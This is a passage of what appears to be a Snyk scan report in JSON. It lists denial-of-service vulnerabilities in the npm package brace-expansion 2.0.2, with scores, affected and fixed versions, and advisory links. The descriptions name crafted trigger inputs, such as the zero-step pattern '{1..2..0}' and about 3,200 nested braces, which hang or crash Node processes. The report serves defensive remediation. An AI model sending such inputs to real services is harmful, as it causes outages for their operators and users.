"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub 